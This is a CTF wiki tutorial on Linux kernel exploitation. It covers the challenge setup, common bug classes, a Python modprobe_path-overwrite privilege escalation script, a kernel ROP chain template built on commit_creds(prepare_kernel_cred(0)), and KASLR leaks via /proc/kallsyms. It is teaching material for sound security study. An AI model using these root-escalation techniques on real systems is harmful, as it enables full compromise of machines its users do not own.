Athena Wiki

Kernel Exploitation Basics

pwnexpert

Introduction to Linux kernel exploitation in CTF challenges - modprobe_path, KASLR bypass, and LPE.

pwnkernellpekaslrkptimodprobe-pathropprivilege-escalation

Kernel Exploitation Basics

In userspace pwn, you exploit a program to get a shell. In kernel pwn, you exploit a kernel module to get root. The kernel runs in ring-0 (the most privileged mode), so a vulnerability there gives you full control over the system.

This is the hardest category in pwn. The tooling is different, the memory model is different, and mistakes crash the entire system instead of just the process.

Always run kernel exploits in an isolated VM or QEMU instance. A bad exploit will kernel panic and crash your system. Take snapshots before running anything.


How a Kernel CTF Challenge Works

A kernel challenge gives you three files:

bzImage          — the kernel itself
rootfs.cpio.gz   — the filesystem (contains the vulnerable module)
run.sh           — QEMU launch script

You boot the kernel in QEMU, log in as an unprivileged user, and exploit the vulnerable kernel module to read /flag (which is only readable by root).

# Typical run.sh
qemu-system-x86_64 \
  -kernel bzImage \
  -initrd rootfs.cpio.gz \
  -append "console=ttyS0 quiet" \
  -nographic \
  -s    # enables GDB on port 1234

Finding the Vulnerable Module

Inside the QEMU VM:

ls /dev/            # look for /dev/challenge or similar
cat /proc/modules   # list loaded kernel modules
dmesg               # kernel messages (may reveal module info)
find / -name "*.ko" 2>/dev/null   # find the .ko module file

Extract the filesystem to analyze the module locally:

# On your host machine
mkdir rootfs && cd rootfs
cp ../rootfs.cpio.gz .
gunzip rootfs.cpio.gz
cpio -idmv < rootfs.cpio

# Find and analyze the module
find . -name "*.ko"
# Open in Ghidra or disassemble with objdump
objdump -d ./lib/modules/*/extra/vuln.ko

The module registers device file operations (open, read, write, ioctl). The vulnerability is in how these handlers process user input.


Common Vulnerabilities

Stack Overflow in Module

static ssize_t module_write(struct file *f, const char __user *buf,
                             size_t count, loff_t *off) {
    char kbuf[64];
    copy_from_user(kbuf, buf, count);   // no bounds check!
    // ...
}

Same idea as userspace, but on the kernel stack. Overflow the kernel stack buffer, overwrite the kernel return address, and build a kernel ROP chain.

Arbitrary Read/Write

// Driver reads/writes kernel memory at user-controlled addresses
case IOCTL_READ:
    copy_to_user(user_buf, (void*)kernel_addr, size);
case IOCTL_WRITE:
    copy_from_user((void*)kernel_addr, user_buf, size);

If you control kernel_addr, you can read or write any kernel memory.

Use-After-Free

// Driver frees object but doesn't clear the pointer
kfree(obj);
// Later: obj->ops->callback()  → UAF

Same concept as userspace heap exploitation, but in kernel memory (SLAB/SLUB allocator).


Exploitation: modprobe_path Overwrite (Easiest)

If you have an arbitrary kernel write, this is the simplest path to root. No ROP needed.

How it works: When the kernel encounters a file with an unknown magic number, it runs the program at modprobe_path (default: /sbin/modprobe) with root privileges. If you overwrite modprobe_path to point to your own script, it runs as root.

import struct, os

# 1. Find modprobe_path address
with open('/proc/kallsyms') as f:
    for line in f:
        if 'modprobe_path' in line:
            addr = int(line.split()[0], 16)
            break

# 2. Overwrite modprobe_path with your script path
evil_script = b'/tmp/x\x00'
write_to_kernel_memory(addr, evil_script)

# 3. Create the evil script
with open('/tmp/x', 'w') as f:
    f.write('#!/bin/sh\nchmod 777 /flag\n')
os.chmod('/tmp/x', 0o777)

# 4. Trigger modprobe by running a file with unknown magic bytes
with open('/tmp/trigger', 'wb') as f:
    f.write(b'\xff\xff\xff\xff')
os.chmod('/tmp/trigger', 0o755)
os.system('/tmp/trigger')

# 5. Read the flag
os.system('cat /flag')

This works because the kernel runs /tmp/x (your script) instead of /sbin/modprobe when it encounters the unknown file format. Your script changes the flag's permissions so you can read it.


Exploitation: Kernel ROP (Harder)

If you have a kernel stack overflow but no arbitrary write, you need a kernel ROP chain. The goal is to escalate privileges by calling:

commit_creds(prepare_kernel_cred(0))

This gives the current process root credentials.

# 1. Find kernel base (see KASLR section below)
kernel_base = ...

# 2. Find gadgets in the kernel
# ropper --file vmlinux --search "pop rdi; ret"

prepare_kernel_cred = kernel_base + 0x...
commit_creds        = kernel_base + 0x...
pop_rdi_ret         = kernel_base + 0x...
swapgs_ret          = kernel_base + 0x...
iretq               = kernel_base + 0x...

# 3. Build the ROP chain
rop  = p64(pop_rdi_ret)
rop += p64(0)                      # prepare_kernel_cred(0) → new creds for uid 0
rop += p64(prepare_kernel_cred)
rop += p64(commit_creds)           # apply root creds to current process
rop += p64(swapgs_ret)             # restore user GS segment
rop += p64(iretq)                  # return to user mode

# 4. User-mode return frame (where iretq goes)
rop += p64(user_rip)               # address of your shell-spawning function
rop += p64(user_cs)                # user CS segment
rop += p64(user_rflags)            # saved RFLAGS
rop += p64(user_rsp)               # user stack pointer
rop += p64(user_ss)                # user SS segment

The iretq instruction returns from kernel mode to user mode. It pops RIP, CS, RFLAGS, RSP, and SS from the stack. You need all five values or the system will crash.


KASLR Bypass

Kernel ASLR randomizes kernel code and data addresses. You need a leak to find the kernel base.

# Check if KASLR is disabled
cat /proc/cmdline | grep nokaslr
# "nokaslr" present → KASLR disabled (common in CTFs)

Common leak sources:

SourceHow
/proc/kallsymsIf readable (sometimes restricted), contains all kernel symbol addresses
dmesgKernel log may contain address leaks
Timing side-channelsMeasure access times to infer kernel base
Module info leakSome modules print kernel pointers in debug output

If /proc/kallsyms is readable, getting the kernel base is trivial:

with open('/proc/kallsyms') as f:
    for line in f:
        if 'prepare_kernel_cred' in line:
            addr = int(line.split()[0], 16)
            kernel_base = addr - known_offset
            break

Tools

ToolPurpose
extract-vmlinuxExtract uncompressed kernel from bzImage (scripts/extract-vmlinux in kernel source)
ropperFind ROP gadgets in vmlinux
ROPgadgetAlternative gadget finder
GhidraAnalyze the .ko module (import as ELF)
GDB + target remote :1234Debug the kernel remotely (QEMU -s flag)
# Extract vmlinux from bzImage
extract-vmlinux bzImage > vmlinux

# Find gadgets
ropper --file vmlinux --search "pop rdi; ret"
ROPgadget --binary vmlinux | grep "pop rdi"

Checklist

  • Read run.sh to understand the QEMU environment
  • Extract rootfs.cpio.gz, find and analyze the .ko module
  • Identify the vulnerability: stack overflow, UAF, arbitrary r/w
  • Check KASLR: cat /proc/cmdline | grep nokaslr
  • If no KASLR: /proc/kallsyms gives you all addresses
  • Easiest path: arbitrary write → modprobe_path overwrite
  • Harder path: kernel ROP → commit_creds(prepare_kernel_cred(0))iretq to userland
  • Reference: Pawnyable — excellent kernel pwn tutorials
  • Take QEMU snapshots before running exploits

Last updated on

On this page